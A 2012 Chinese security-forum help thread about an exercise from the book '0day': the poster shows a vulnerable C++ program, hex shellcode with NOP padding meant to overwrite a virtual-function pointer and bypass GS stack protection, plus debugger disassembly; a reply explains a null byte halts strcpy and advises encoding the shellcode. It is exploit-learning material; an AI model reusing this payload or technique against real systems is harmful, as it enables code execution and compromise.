首页
社区
课程
招聘
[求助]0day第十章覆盖虚函数突破GS问题---strcpy无法复制字符串到缓冲区中
2012-6-28 13:29 5495

[求助]0day第十章覆盖虚函数突破GS问题---strcpy无法复制字符串到缓冲区中

2012-6-28 13:29
5495
[LEFT][/LEFT]c++源代码是这样:
#include "stdafx.h"
#include "string.h"

class GSVirtual {
public :
        void gsv(char * src)
        {
                char buf[200];
                //int *p=( int*)0x0012FF78;
            printf("Hello X.W.liu");
                strcpy(buf, src);
            //*p=0x402110;
                bar(); // virtual function call
        }
        virtual void  bar()
        {
        }
};
int main()
{

        GSVirtual test;
        test.gsv(

  • [LEFT]                "\x01\x17\x40\x00"       
  •         "\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"  
  •                 "\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"  
  •                 "\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"  
  •                 "\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"  
  •                 "\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"  
  •                 "\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"  
  •                 "\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"  
  •                 "\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"  
  •                 "\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"  
  •                 "\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"  
  •                 "\xe4"

  •                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  •                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  •                 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  •                 "\x90\x90\x90\x90\x90\x90\x90"[/LEFT]
  •                 );

            return 0;
    }
    在OD中,我们运行完strcpy(buf, src);断下来,得到观察栈空间,上面字节根本没有复制进来,为什么?
    00401019    68 FC204000     PUSH GS_Virtu.004020FC                   ; Hello X.W.liu
    0040101E    FF15 A8204000   CALL DWORD PTR DS:[<&MSVCR90.printf>]    ; MSVCR90.printf
    00401024    83C4 04         ADD ESP,4
    00401027    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
    0040102A    8985 28FFFFFF   MOV DWORD PTR SS:[EBP-D8],EAX
    00401030    8D8D 30FFFFFF   LEA ECX,DWORD PTR SS:[EBP-D0]
    00401036    898D 24FFFFFF   MOV DWORD PTR SS:[EBP-DC],ECX
    0040103C    8B95 24FFFFFF   MOV EDX,DWORD PTR SS:[EBP-DC]
    00401042    8995 20FFFFFF   MOV DWORD PTR SS:[EBP-E0],EDX
    00401048    8B85 28FFFFFF   MOV EAX,DWORD PTR SS:[EBP-D8]
    0040104E    8A08            MOV CL,BYTE PTR DS:[EAX]
    00401050    888D 1FFFFFFF   MOV BYTE PTR SS:[EBP-E1],CL
    00401056    8B95 24FFFFFF   MOV EDX,DWORD PTR SS:[EBP-DC]
    0040105C    8A85 1FFFFFFF   MOV AL,BYTE PTR SS:[EBP-E1]
    00401062    8802            MOV BYTE PTR DS:[EDX],AL
    00401064    8B8D 28FFFFFF   MOV ECX,DWORD PTR SS:[EBP-D8]
    0040106A    83C1 01         ADD ECX,1
    0040106D    898D 28FFFFFF   MOV DWORD PTR SS:[EBP-D8],ECX
    00401073    8B95 24FFFFFF   MOV EDX,DWORD PTR SS:[EBP-DC]
    00401079    83C2 01         ADD EDX,1
    0040107C    8995 24FFFFFF   MOV DWORD PTR SS:[EBP-DC],EDX
    00401082    80BD 1FFFFFFF 0>CMP BYTE PTR SS:[EBP-E1],0
    00401089  ^ 75 BD           JNZ SHORT GS_Virtu.00401048
    0040108B    8B85 2CFFFFFF   MOV EAX,DWORD PTR SS:[EBP-D4];运行到此处,断下来
    00401091    8B10            MOV EDX,DWORD PTR DS:[EAX]    ;edx即为虚表指针
    00401093    8B8D 2CFFFFFF   MOV ECX,DWORD PTR SS:[EBP-D4]
    00401099    8B02            MOV EAX,DWORD PTR DS:[EDX];得到虚表中第一个虚函数地址
    0040109B    FFD0            CALL EAX            ;调用虚表中的第一个虚函数

    这时,栈空间为
    0012FE88   00150168
    0012FE8C   0012FE9C  ;0012FE9C 为缓冲区首地址
    0012FE90   0012FEA0
    0012FE94   00402114  GS_Virtu.00402114
    0012FE98   0012FF78
    0012FE9C   00401701  GS_Virtu.00401701
    0012FEA0   00000000
    0012FEA4   00150178
    0012FEA8   00150000
    0012FEAC  /0012FEDC
    0012FEB0  |785436C5  RETURN to MSVCR90.785436C5 from kernel32.TlsGetValue
    0012FEB4  |00000001
    0012FEB8  |0012FEDC
    0012FEBC  |785438B3  RETURN to MSVCR90.785438B3 from ntdll.RtlSetLastWin32Error
    0012FEC0  |00000000
    0012FEC4  |0012FF48
    0012FEC8  |0012FEE8
    0012FECC  |785438C5  RETURN to MSVCR90.785438C5 from MSVCR90.7854383F
    0012FED0  |0012FEE8
    0012FED4  |7855C40C  RETURN to MSVCR90.7855C40C from MSVCR90._getptd
    0012FED8  |00151F49  ASCII "?
    0012FEDC  ]0012FEF8
    0012FEE0  |7856028D  RETURN to MSVCR90.7856028D from MSVCR90.7855C3F4
    0012FEE4  |00000000
    0012FEE8  |785BA2C0  MSVCR90.785BA2C0
    0012FEEC  |003B3060
    0012FEF0  |003B1E90
    0012FEF4  |7C930101  ntdll.7C930101
    0012FEF8  ]0012FF10
    0012FEFC  |785604F3  RETURN to MSVCR90.785604F3 from MSVCR90.7856027A
    0012FF00  |00000000
    0012FF04  |00000000
    0012FF08  |00000000
    0012FF0C  |00000004
    0012FF10  ]0012FF28
    0012FF14  |78542F8C  RETURN to MSVCR90.78542F8C from MSVCR90._ismbblead
    0012FF18  |00000000
    0012FF1C  |003B2940
    0012FF20  |00000000
    0012FF24  |00000000
    0012FF28  ]0012FF54
    0012FF2C  |78543161  RETURN to MSVCR90.78543161 from MSVCR90.78542F32
    0012FF30  |003B2944
    0012FF34  |003B29A7
    0012FF38  |0012FF4C
    0012FF3C  |004033AC  GS_Virtu.004033AC
    0012FF40  |004020B4  GS_Virtu.004020B4
    0012FF44  |00000000
    0012FF48  |0000005F
    0012FF4C  |00000002
    0012FF50  |00151EE8
    0012FF54  ]0012FF5C
    0012FF58  |785427B4  RETURN to MSVCR90.785427B4 from MSVCR90.785430D1
    0012FF5C  \0012FF80
    0012FF60   00401188  RETURN to GS_Virtu.00401188 from MSVCR90.__getmainargs
    0012FF64   00403048  GS_Virtu.00403048
    0012FF68   B8496A57
    0012FF6C  /0012FF7C
    0012FF70  |004010D9  RETURN to GS_Virtu.004010D9 from GS_Virtu.00401000
    0012FF74  |00402110  GS_Virtu.00402110
    0012FF78  |004021F4  GS_Virtu.004021F4   ;此为虚表指针

    可以看出,我们的shellcode压根没有拷贝进缓冲区
    甚为不解,请高手指教
    补充:我的测试环境:vs 2008精简版,windows xp sp3

    [CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

    收藏
    点赞0
    打赏
    分享
    最新回复 (1)
    雪    币: 1790
    活跃值: (2922)
    能力值: ( LV6,RANK:90 )
    在线值:
    发帖
    回帖
    粉丝
    拍拖 2 2012-6-28 14:57
    2
    0
    [QUOTE=xwl刘晓伟;1083316]c++源代码是这样:
    #include "stdafx.h"
    #include "string.h"

    class GSVirtual {
    public :
            void gsv(char * src)
            {
                    char buf[200];
                    //int *p=( int*)0x...[/QUOTE]

    汇编语句对应的C++内容:
    // tempSrc = src;
    00401027    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
    0040102A    8985 28FFFFFF   MOV DWORD PTR SS:[EBP-D8],EAX
    // tempDest = buf;
    00401030    8D8D 30FFFFFF   LEA ECX,DWORD PTR SS:[EBP-D0]
    00401036    898D 24FFFFFF   MOV DWORD PTR SS:[EBP-DC],ECX
    0040103C    8B95 24FFFFFF   MOV EDX,DWORD PTR SS:[EBP-DC]
    00401042    8995 20FFFFFF   MOV DWORD PTR SS:[EBP-E0],EDX

    ---->loop:
    // char temp = *src
    00401048    8B85 28FFFFFF   MOV EAX,DWORD PTR SS:[EBP-D8]
    0040104E    8A08            MOV CL,BYTE PTR DS:[EAX]
    00401050    888D 1FFFFFFF   MOV BYTE PTR SS:[EBP-E1],CL

    // *dest = temp
    00401056    8B95 24FFFFFF   MOV EDX,DWORD PTR SS:[EBP-DC]
    0040105C    8A85 1FFFFFFF   MOV AL,BYTE PTR SS:[EBP-E1]
    00401062    8802            MOV BYTE PTR DS:[EDX],AL

    // src++
    00401064    8B8D 28FFFFFF   MOV ECX,DWORD PTR SS:[EBP-D8]
    0040106A    83C1 01         ADD ECX,1
    0040106D    898D 28FFFFFF   MOV DWORD PTR SS:[EBP-D8],ECX

    // dest++
    00401073    8B95 24FFFFFF   MOV EDX,DWORD PTR SS:[EBP-DC]
    00401079    83C2 01         ADD EDX,1
    0040107C    8995 24FFFFFF   MOV DWORD PTR SS:[EBP-DC],EDX

    // if (temp != 0) goto loop:
    00401082    80BD 1FFFFFFF 0>CMP BYTE PTR SS:[EBP-E1],0
    00401089  ^ 75 BD           JNZ SHORT GS_Virtu.00401048

    从汇编逻辑来看正式strcpy的内容,只不过被内联展开了,有了C++的代码原因也找到了
    "\x01\x17\x40\x00"  中存在\0字符,拷贝到此结束,后面的都没拷贝过去,当然堆栈
    没被覆盖掉,如果不是你搞错了就是你的shellcode有问题,需要编码处理下。
    游客
    登录 | 注册 方可回帖
    返回